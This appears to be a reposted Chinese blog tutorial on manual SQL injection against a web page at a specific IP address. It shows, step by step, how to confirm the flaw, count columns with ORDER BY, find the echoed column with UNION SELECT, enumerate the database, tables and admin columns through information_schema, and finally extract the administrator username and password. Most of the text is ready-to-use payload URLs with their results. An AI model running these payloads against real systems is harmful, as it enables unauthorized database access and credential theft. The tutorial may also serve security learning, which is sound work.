1, 查看参数的传递方式, 选择在哪里进行测试攻击
方法: 调出网页控制台, 观查网络状况, 通过消息头查看参数提交的方式
通过对消息头的分析, 可以看出请求方法为 get 方式, 因此我们就只要在浏览器地址栏中进行注入测试即可. 如果为其他请求方式, 如 post,delete,update 等等, 可以借助 postman 工具进行测试.
2, 判断该网站是否能够进行 SQL 攻击注入
2.1, 观查地址栏地址, 猜 sql 语句
http://59.63.200.79:8003/?id=1
根据? 后面的参数可知, 该请求肯定是根据 id 来查询内容, 查询参数为 id, 因此我猜的 SQL 语句为:
select * from 表名 where id = 参数 id
2.2, 判断该网站能否进行简单的 SQL 注入攻击
判断思路: 根据所猜 SQL 语句进行判断
# 参数 id = 1 时, 后台查询的 sql 语句应该为:
select * from 表名 where id = 1
判断 1: 当参数 id = 1'是否显示正常
测试结果如图: 所查询的文章并没有显现, 心中窃喜, 1'被当作参数传递到了数据库服务器中并执行了, 因此可能存在 SQL 注入风险, 此时的 SQL 语句为:
select * from 表名 where id = 1'
判断 2: 当参数 id = 1 or 1=1 和 id = 1 or 1=2 是, 是否显示正常
因为参数 id=1 时, 页面能显示信息, 故前者肯定为 true, 不管后者是否为和取值, 两者相或, 都为 true.
断言: 如果页面显示正常 => 提交的 sql 拼接语句进入了数据库服务器中并执行了 => 该网站存在注入风险
验证: 参数 id=1 时前者肯定为真, 但是要让页面不正常显示应该怎样, 只需要后者变为 and 1=2 即可, 如果页面真的如我们所愿, 则该站点肯定能够进行 sql 注入了
3, 判断该表有几个字段
使用 order by 对字段进行排序, 二分测试, 直到页面显示不正常, 由此来判断该表有几个字段.
# 对第一个字段进行排序查询
select * from 表名 where id = 1 order by 1
经过反复实验测试, 在 order by 2 时页面就显示不正常了, 因此可以断定该表的字段数为 2, 由此可以猜的: 第一个字段为文章 id, 第二个字段为文章内容
4, 寻找回显点
有上一步的猜想可知, 第二个字段应为文章内容, 故应该是第二个字段显示在页面上, 下面使用联合查询进行证实, 拼接而成的 SQL 语句应该为:
select * from 表名 where id = 1 and 1=2 union select 1,2
如果页面出现了 2, 这说明是第二个字段展示在页面上, 即为回显点:
5, 查询该表所在的数据库
由下面这条 sql 语句拼接, 可以显示出该表所在的数据库名字:
select * from 表名 where id = 1 and 1=2 union select 1,database()
由显示出来的数据库名字可知, 该数据库的名字就为 maoshe
6, 查询该数据库中拥有的表的名字
由 MySQL 数据库的特性可知, information_schema 的 tables 表中存储着 MySQL 每一个数据库对应的数据表的信息, 如下图
其中 table_schema 字段对应的就是数据库的名字, 所以我们可以通过这张表, 查询出 maose 库中拥有的数据表, 拼接的 sql 语句如下:
select * from 表名 where id = 1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1
该库查询出来的表总共有:
- http://59.63.200.79:8003/?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1
- # 查询的数据表为 admin
- http://59.63.200.79:8003/?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 1,1
- # 查询的数据表为 dirs
- http://59.63.200.79:8003/?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 2,1
- # 查询的数据表为 news
- http://59.63.200.79:8003/?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 3,1
- # 查询的数据表为 xss
有各表表明可以猜得, 管理员得账号和密码应该在 admin 表
7, 查询 admin 表拥有的字段名称
由 MySQL 数据库的特性可知, information_schema 的 columns 表中存储着 MySQL 每一个数据库对应的数据表的所有字段信息, 透过数据库名称和表的名称就可以一一查询出来, 如图:
其中 table_schema 就为数据库名, table_name 就为数据表名, 我们可以通过限定这两个字段查询出 admin 表的所有字段, 拼接的 sql 语句如下:
select * from 表名 where id = 1 and 1=2 union select 1,column_name from information_schema.columns where table_schema='maoshe' and table_name='admin' limit 0,1
admin 表中有的字段为:
- http://59.63.200.79:8003/?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema='maoshe' and table_name='admin' limit 0,1
- # 查询出来的字段为 id
- http://59.63.200.79:8003/?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema='maoshe' and table_name='admin' limit 1,1
- # 查询出来的字段为 username
- http://59.63.200.79:8003/?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema='maoshe' and table_name='admin' limit 2,1
- # 查询出来的字段为 password
8, 查询管理员信息
管理员表的表明和所有字段信息我们都清楚了, 因此我们可以拼接如下的 SQL 语句进行对该表数据的查询:
select * from 表名 where id = 1 and 1=2 union select 1,username from admin limit 0,1
经过测试, 该表的用户数据只有一个:
所以, 管理员的账号为 admin, 密码为 hellohack
来源: http://www.bubuko.com/infodetail-3408433.html